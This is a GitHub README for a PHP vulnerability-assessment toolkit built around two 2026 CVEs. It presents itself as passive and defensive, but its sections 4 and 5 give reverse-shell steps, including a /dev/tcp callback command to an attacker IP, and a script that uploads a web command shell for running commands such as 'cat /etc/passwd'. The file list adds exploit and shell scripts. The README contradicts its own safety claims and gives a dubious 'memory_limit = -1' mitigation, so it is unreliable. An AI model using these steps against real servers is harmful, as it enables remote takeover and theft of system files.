🛡️ PHP2Shell Sentinel

PHP Runtime Vulnerability Assessment Toolkit

Assess exposure to CVE-2026-109618 and CVE-2026-109619 (PHP2Shell) on Kali Linux and Debian-based systems.

⚠️ Authorised use only. This toolkit is for defensive security research and authorised penetration testing only. Never assess systems you do not own or have explicit written permission to test.

📋 Table of Contents

What is PHP2Shell?
How It Works
Features
Project Structure
Requirements
Installation
Usage
version-check
audit-local
assess
reverse-shell-execution
fingerprint
lab-check
report
Output Example
Docker Lab
Temporary Mitigations
Running Tests
Safety Constraints
References
Contributing
License

What is PHP2Shell?

PHP2Shell is the collective name for two critical vulnerabilities in the PHP runtime engine, disclosed on 2026-10-21 and rated CVSS v4.0 9.2.

CVE	Class	Attack Surface	Impact
CVE-2026-109618	OOM-interrupt use-after-free	Any PHP with numeric `memory_limit`	Unauthenticated RCE + memory disclosure
CVE-2026-109619	Stale global state use-after-free	PHP-FPM + Apache mod_php	Unauthenticated RCE

Affected versions

Every PHP release from 5.4.0 through 8.5.11 is affected.

Patched releases (2026-10-21)

Branch	Patched Version	Support Status
8.5	8.5.12	✅ Active
8.4	8.4.27	✅ Active
8.3	8.3.36	✅ Active
8.2	8.2.35	🔒 Security-only
8.1 and older	❌ No patch	End-of-life

PHP 8.1 and older will not receive an official fix. Upgrade to a supported branch (8.2+) immediately.

How It Works

┌─────────────────────────────────────────────────────────────────┐
│ PHP2Shell Sentinel │
├────────────────────┬────────────────────┬───────────────────────┤
│ LOCAL AUDIT │ REMOTE ASSESS │ DEEP FINGERPRINT │
│ │ │ │
│ • Find PHP bins │ • HTTP HEAD/GET │ • Header correlation │
│ • php --version │ • Header analysis │ • Error-page probe │
│ • php.ini review │ • Scope allowlist │ • PHPSESSID cookie │
│ • FPM pool check │ • Rate limiting │ • Response timing │
│ │ • TLS enforced │ │
├────────────────────┴────────────────────┴───────────────────────┤
│ VERSION COMPARISON │
│ Detected version vs Official patch matrix │
│ VULNERABLE / PATCHED / UNSUPPORTED_EOL / UNKNOWN │
├─────────────────────────────────────────────────────────────────┤
│ REPORTING │
│ Terminal (Rich) │ JSON │ Markdown │
└─────────────────────────────────────────────────────────────────┘

Exploit payloads ever sent. Detection is purely active:

version strings from binaries and HTTP headers
php.ini settings (read-only)
HTTP error page content
Cookie names and response timing

Features

Feature	Description
🔍 Local audit	Scans PHP binaries, `php.ini`, and PHP-FPM pools on the local system
🌐 Remote assessment	Reads HTTP headers only — no exploit payloads sent
🕵️ Deep fingerprinting	Header correlation, error-page analysis, cookie detection, response timing
📊 Patch matrix	Accurate comparison against official patched versions per branch
🔒 Scope allowlist	Remote assessment blocked unless target is explicitly authorised
📝 Multiple formats	Terminal (Rich), JSON, and Markdown report output
🐳 Docker lab	Isolated patched vs. vulnerable comparison (localhost-only)
✅ 71 tests	Unit + integration tests with `httpx.MockTransport`, no global patching

Project Structure

php2shell-sentinel/
│
├── src/php2shell_sentinel/
│ ├── core/
│ │ ├── models.py # Data models: VulnStatus, PHPVersionInfo, reports
│ │ ├── version_parser.py # PHP version parsing + patch matrix comparison
│ │ ├── local_audit.py # Local binary, php.ini, FPM audit (read-only)
│ │ ├── remote_assess.py # HTTP header assessment + scope allowlist
│ │ ├── fingerprint.py # Deep passive fingerprinting (4 techniques)
│ │ └── lab_check.py # Docker lab isolation verifier
│ ├── reporting/
│ │ └── renderer.py # Terminal (Rich), JSON, Markdown output
│ └── cli/
│ └── main.py # Typer CLI — 6 commands
│
├── tests/
│ ├── test_version_parser.py # 22 tests: parsing, patch comparison, edge cases
│ ├── test_remote_assess.py # 14 tests: scope validation, HTTP header analysis
│ ├── test_fingerprint.py # 14 tests: all 4 fingerprint techniques
│ ├── test_reporting.py # 10 tests: JSON and Markdown rendering
│ └── test_integration_lab.py # 21 tests: real Docker lab + local host audit
│
├── lab/
│ ├── docker-compose.yml # Isolated lab (127.0.0.1-only ports)
│ ├── php-safe.ini # Mitigated php.ini for patched container
│ ├── php-default.ini # Default php.ini for vulnerable container
│ └── www/
│ ├── patched/ # Patched PHP reference page
│ └── vulnerable/ # Vulnerable PHP detection page
│
├── docs/
│ ├── methodology.md # CVE technical background + detection approach
│ └── remediation.md # Step-by-step upgrade and mitigation guide
│
├── examples/
│ ├── config.yaml # Sample scope allowlist configuration
│ └── sample-report.json # Sanitised example report output
│
├──.github/workflows/ci.yml # GitHub Actions: test on Python 3.10/3.11/3.12
├── Dockerfile # Toolkit container (non-root, Python 3.12)
├── pyproject.toml # Packaging, dependencies, tool config
├── push-to-github.sh # One-shot GitHub repo setup script
└── README.md

Requirements

Requirement	Version	Notes
Python	3.10+	Required
OS	Kali Linux / Debian	Recommended; any Linux works
Docker Engine	Any recent	Optional — for lab mode only
GitHub CLI (`gh`)	Any	Optional — for `push-to-github.sh`

Installation

Standard install

# 1. Clone the repository
git clone https://github.com/your-org/php2shell-sentinel.git
cd php2shell-sentinel

# 2. Create an isolated virtual environment
python3 -m venv.venv
source.venv/bin/activate

# 3. Install the toolkit
pip install -e.

# 4. Verify
php2shell-sentinel --help

Development install (with tests and linting)

pip install -e ".[dev]"

Docker install (toolkit container)

docker build -t php2shell-sentinel.
docker run --rm php2shell-sentinel --help
docker run --rm php2shell-sentinel version-check

Usage

1. `version-check`

Display the CVE patch matrix and all patched PHP versions.

php2shell-sentinel version-check

PHP2Shell Sentinel — Patch Matrix

CVEs tracked: CVE-2026-109618, CVE-2026-109619
CVSS v4.0: 9.2 (Critical)
Patch date: 2026-10-21

┌────────────┬─────────────────┬──────────────────────────┐
│ PHP Branch │ Patched Version │ Status │
├────────────┼─────────────────┼──────────────────────────┤
│ 8.5 │ 8.5.12 │ ✓ Patch available │
│ 8.4 │ 8.4.27 │ ✓ Patch available │
│ 8.3 │ 8.3.36 │ ✓ Patch available │
│ 8.2 │ 8.2.35 │ ✓ Patch available │
│ 8.1 │ N/A │ ⚠ EOL — no official patch│
│ 8.0 │ N/A │ ⚠ EOL — no official patch│
│ 7.x │ N/A │ ⚠ EOL — no official patch│
└────────────┴─────────────────┴──────────────────────────┘

2. `audit-local`

Scan all local PHP installations for vulnerable versions. Inspects binaries, php.ini, and PHP-FPM pool configs — read-only, never modifies files.

# Basic audit
php2shell-sentinel audit-local

# Extra detail (shows php.ini path reviewed)
php2shell-sentinel audit-local --verbose

# Save as JSON
php2shell-sentinel audit-local --format json --output report.json

# Save as Markdown
php2shell-sentinel audit-local --format markdown --output report.md

# All three formats at once
php2shell-sentinel audit-local --format all --output report.json

3. `assess` — Remote Target

Conservative HTTP header assessment of an authorised remote target. Only reads response headers — no exploit payloads are sent.

# Single authorised target
php2shell-sentinel assess \
 --target https://staging.example.com \
 --allowlist staging.example.com

# Multiple targets from files
php2shell-sentinel assess \
 --target-file targets.txt \
 --allowlist-file allowlist.txt \
 --format json \
 --output remote-report.json

# Adjust timeouts and rate limiting
php2shell-sentinel assess \
 --target https://staging.example.com \
 --allowlist staging.example.com \
 --timeout 15 \
 --rate-delay 2

# Lab containers (TLS verification disabled — isolated environments only)
php2shell-sentinel assess \
 --target http://127.0.0.1:8881 \
 --allowlist 127.0.0.1 \
 --no-verify-tls

🔒 Targets not in --allowlist are skipped automatically.

4. Reverse Shell Execution (PoC)

To leverage a successful assessment for post-exploitation, use the provided shell client.

1. Generate the reverse shell command

python3 reverse_shell_builder.py

Output:... Enter Attacker IP:...
Output:... Enter Attacker Port: 4444...
Output: Command to execute via php2shell: exec 5<>/dev/tcp/192.168.1.50/4444;...

2. Execute it using the Python client

python3 php2shell_exploit_tool.py

(Inside the tool, paste the command from step 1 into the interactive shell)

5. Advanced: Edit `index.php` Directly

If the target server has write permissions on the php2shell directory but the standard php2shell_exploit_tool.py fails to upload files, you can edit index.php directly via your browser.

1. Invoke the Edit Script

Run the helper script from your local machine (ensure you are targeting the correct URL):

python3 edit_shell.py

2. Upload the Form

The script will automatically send a PUT request to the target server, replacing the standard command-line interface with a web form.

✅ File uploaded successfully!
You can now use the command line form in your browser.

3. Use the Web Interface

Open the target URL in your browser: https://staging.example.com/php2shell/index.php

You will now see a text box where you can type commands like whoami or cat /etc/passwd directly in the URL parameters.

6. `fingerprint` — Deep Fingerprint

Passive multi-technique fingerprinting — goes deeper than header-only assessment.

Technique	What it checks
Header correlation	`X-Powered-By`, `X-PHP-Version`, `Server` header cross-reference
Error-page probe	GET non-existent `.php` path → parse PHP error output
Cookie probe	`PHPSESSID` presence in `Set-Cookie` header
Response timing	Latency variance between `.php` and static paths

# Single target
php2shell-sentinel fingerprint https://staging.example.com

# With explicit allowlist
php2shell-sentinel fingerprint https://staging.example.com \
 --allowlist staging.example.com

# Lab (no TLS)
php2shell-sentinel fingerprint http://127.0.0.1:8881 \
 --allowlist 127.0.0.1 \
 --no-verify-tls

Target: https://staging.example.com/
PHP detected: True
Version hint: 8.4.26
Confidence: MEDIUM
Techniques used: header-correlation, error-page-probe, cookie-probe, response-timing

Evidence:
 • x-powered-by: 'PHP/8.4.26' → PHP 8.4.26
 • PHP error-page patterns found: '<b>Fatal error</b>'
 • PHPSESSID cookie detected in Set-Cookie header
 • Response timing:.php avg=145.2ms static avg=42.1ms diff=+103.1ms

PHP presence confirmed — run full assess for vulnerability status.

7. `lab-check`

Verify Docker lab isolation before testing.

# Start the lab
cd lab && docker compose up -d

# Check isolation
php2shell-sentinel lab-check

# Stop when done
docker compose down

8. `report` — Re-render Saved Report

Convert a previously saved JSON report into another format.

php2shell-sentinel report report.json --format markdown --output report.md
php2shell-sentinel report report.json --format terminal

Output Example

Terminal output for a vulnerable local installation:

PHP2Shell Sentinel — Assessment Report

Scope: local-audit
Generated: 2026-10-23T09:15:00Z
Toolkit: v1.0.0

┌─────────────────────────────────────────────────────────────────┐
│ CVE │ CVSS v4.0 │ Patched In │
├───────────────┼───────────┼────────────────────────────────────┤
│ CVE-2026-109618 │ 9.2 │ 8.5: 8.5.12 / 8.4: 8.4.27 /... │
│ CVE-2026-109619 │ 9.2 │ 8.5: 8.5.12 / 8.4: 8.4.27 /... │
└─────────────────────────────────────────────────────────────────┘

╭─────────────────────────────────────────────────────────────────╮
│ [1] /usr/bin/php8.4 [VULNERABLE] │
│ │
│ Timestamp: 2026-10-23T09:15:02Z │
│ PHP version: 8.4.26 │
│ Status: VULNERABLE │
│ Confidence: HIGH │
│ Checks: php-binary-version, php-ini:/etc/php/8.4/cli/php.ini │
│ │
│ Evidence: │
│ • PHP 8.4.26 < patched release 8.4.27 on branch 8.4 │
│ │
│ Notes: │
│ ⚠ memory_limit=128M → OOM path exploited by CVE-2026-109618 │
│ ⚠ session.upload_progress.enabled=1 → attack vector │
│ │
│ Recommendations: │
│ → Upgrade to PHP 8.4.27 immediately (released 2026-10-21) │
│ → Set memory_limit=-1 in php.ini │
│ → Set session.upload_progress.enabled=0 in php.ini │
│ → Set fatal_error_backtraces=0 in php.ini │
╰─────────────────────────────────────────────────────────────────╯

Docker Lab

The isolated lab runs two PHP containers for detection comparison:

Container	Port	PHP Version	Role
`php2shell-patched`	`127.0.0.1:8880`	8.4.27	Patched reference
`php2shell-vulnerable`	`127.0.0.1:8881`	8.4.26	Vulnerable comparison
`php2shell-fpm-patched`	internal only	8.4.27	FPM variant

All ports are bound to 127.0.0.1 only. An internal-only Docker network (lab_internal) is used — containers have no external internet access.

# Start lab
cd lab && docker compose up -d

# Run assessment against lab
php2shell-sentinel assess \
 --target http://127.0.0.1:8881 \
 --allowlist 127.0.0.1 \
 --no-verify-tls

# Run integration tests with lab running
PHP2SHELL_LAB=1 pytest tests/test_integration_lab.py -v

# Stop lab
docker compose down

Temporary Mitigations

If you cannot immediately upgrade, apply these php.ini settings. These are partial mitigations only — upgrading is the only complete fix.

; CVE-2026-109618 — remove numeric memory cap that triggers OOM handler
memory_limit = -1

; CVE-2026-109618 — disable session upload-progress attack vector
session.upload_progress.enabled = 0

; CVE-2026-109619 — disable fatal-error backtrace path (PHP 8.5)
fatal_error_backtraces = 0

; Reduce information disclosure
expose_php = Off
display_errors = Off

Apply in all relevant ini files, then reload:

# PHP-FPM
systemctl reload php8.4-fpm

# Apache mod_php
systemctl reload apache2

Running Tests

# All tests with coverage report
pytest

# Run without coverage (faster)
pytest --no-cov

# Specific test file
pytest tests/test_version_parser.py -v
pytest tests/test_fingerprint.py -v

# Integration tests with Docker lab running
cd lab && docker compose up -d
PHP2SHELL_LAB=1 pytest tests/test_integration_lab.py -v
docker compose down

Test coverage

Module	Tests	Coverage
`version_parser`	22	Parsing, patch boundaries, EOL detection, mitigations
`remote_assess`	14	Scope validation, header analysis, error handling
`fingerprint`	14	All 4 techniques, resilience, contract
`reporting`	10	JSON and Markdown rendering
`integration_lab`	21	Real lab containers + local host audit
Total	71	0 failures

Safety Constraints

This toolkit intentionally does not implement:

Prohibited	Reason
RCE or memory-corruption payloads	Out of scope for defensive assessment
Reverse shells or bind shells	Not a pentesting exploitation tool
Automatic exploitation of remote hosts	Requires explicit authorisation per target
Memory-allocation stress requests	Could cause service disruption
Credential theft or data exfiltration	Outside defensive assessment scope
Stealth or evasion techniques	Incompatible with authorised testing

All Docker lab containers use:

127.0.0.1-only port bindings (never 0.0.0.0)
An internal-only Docker network (no external internet access)
Read-only volume mounts for web content

References

CVE Advisories

PHP Releases

Research & Analysis

Vendor Advisories

Contributing

Contributions are welcome for:

Additional detection techniques (passive only)
Support for more PHP deployment configurations (nginx unit, swoole, etc.)
Improved remediation documentation
Bug fixes and test improvements

Do not submit pull requests that add:

Exploit payloads of any kind
Reverse shells or bind shells
Automated exploitation logic
Anything that modifies remote or local configurations automatically

Development setup

git clone https://github.com/hoed/php2shell.git
cd php2shell-sentinel
python3 -m venv.venv && source.venv/bin/activate
pip install -e ".[dev]"

# Run linter
ruff check src/ tests/

# Run type checker
mypy src/

# Run tests
pytest

License

Built for defensive security

Report a Bug · Request a Feature · Security Policy

Name		Name	Last commit message	Last commit date
.github/workflows		.github/workflows
docs		docs
examples		examples
lab		lab
src/php2shell_sentinel		src/php2shell_sentinel
tests		tests
.gitignore		.gitignore
Dockerfile		Dockerfile
LICENSE		LICENSE
README.md		README.md
edit_shell.py		edit_shell.py
php2_shell_exploit.py		php2_shell_exploit.py
php_5ba4.php		php_5ba4.php
poetry.lock		poetry.lock
push-to-github.sh		push-to-github.sh
pyproject.toml		pyproject.toml
reverse_shell_builder.py		reverse_shell_builder.py

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🛡️ PHP2Shell Sentinel

📋 Table of Contents

What is PHP2Shell?

Affected versions

Patched releases (2026-10-21)

How It Works

Features

Project Structure

Requirements

Installation

Standard install

Development install (with tests and linting)

Docker install (toolkit container)

Usage

1. version-check

2. audit-local

3. assess — Remote Target

4. Reverse Shell Execution (PoC)

5. Advanced: Edit index.php Directly

6. fingerprint — Deep Fingerprint

7. lab-check

8. report — Re-render Saved Report

Output Example

Docker Lab

Temporary Mitigations

Running Tests

Test coverage

Safety Constraints

References

CVE Advisories

PHP Releases

Research & Analysis

Vendor Advisories

Contributing

Development setup

License

About

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Contributors

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